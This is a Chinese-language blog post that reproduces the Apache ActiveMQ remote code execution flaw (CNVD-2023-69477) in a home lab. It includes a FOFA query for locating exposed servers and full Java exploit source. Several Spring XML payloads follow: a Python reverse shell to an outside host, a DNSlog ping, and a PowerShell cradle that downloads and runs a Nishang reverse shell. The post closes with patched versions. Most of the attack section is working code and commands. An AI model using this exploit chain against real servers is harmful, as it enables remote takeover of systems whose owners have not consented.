Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)
上周爆出来的activeMQ远程代码执行漏洞,正好做一下漏洞复现,记录一下。
Apache ActiveMQ 远程代码执行RCE漏洞复现(CNVD-2023-69477)
上周爆出来的漏洞,正好做一下漏洞复现,记录一下
1.漏洞描述
Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。
影响版本
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
fofa语法:
app="APACHE-ActiveMQ" && port="61616"
2.环境搭建
这里我是在本地进行复现的,使用了kali 和win10
安装ActiveMQ
访问:https://activemq.apache.org/
,随便下载一个存在漏洞的版本
这里我下载的是apache-activemq-5.15.10版本
解压进入bin目录
使用:
activemq start #启动
访问http://127.0.0.1:8161
可以看到环境启动成功
3.漏洞复现
访问:https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp
下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址, win10:192.168.2.129
,kali192.168.2.131
import java.io.*;
import java.net.Socket;
public class ActiveMQ {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "192.168.2.129";
int port = 61616;
String pocxml= "http://192.168.2.131:8000/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0); //无所谓
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
System.out.println("[*] Target\t" + ip + ":" + port);
System.out.println("[*] XML address\t" + pocxml);
System.out.println("[*] Payload send success.");
}
}
之后修改xml文件:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>python</value>
<value>-c</value>
<value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("niubi.com",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后启动命令
python3 -m http.server 8000 #启动http监听
nc -lvvp 9999 #监听端口
javac ActiveMQ.java #编译
java ActiveMQ #运行
但是此处确实调用了poc.xml文件却没有反弹shell
于是看看ping dnslog试试
修改xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>ping</value>
<value>t1298j.dnslog.cn</value>
</list>
</constructor-arg>
</bean>
</beans>
此处看到DNSlog平台确实有回显,证明执行了命令
于是想办法反弹shell ,想到windows反弹shell 命令可能不同,于是用powershell方式反弹shell
修改poc.xml文件:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>powershell</value>
<value>-c</value>
<value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.131 -Port 23333]]></value>
</list>
</constructor-arg>
</bean>
</beans>
再次进行监听和运行exp
可以看到成功反弹shell
PS: 在反弹shell过程中,开始一直没弹出来,于是进入\apache-activemq-5.15.10\data
,查看activemq.log日志信息,发现终止链接
于是将win10 防火墙,defend等全部关掉,将日志log4j.logger.org.apache.activemq=DEBUG开启,之后查看日志后,才解决问题,到此处才成功反弹shell
4.漏洞修复
目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16
更多推荐
所有评论(0)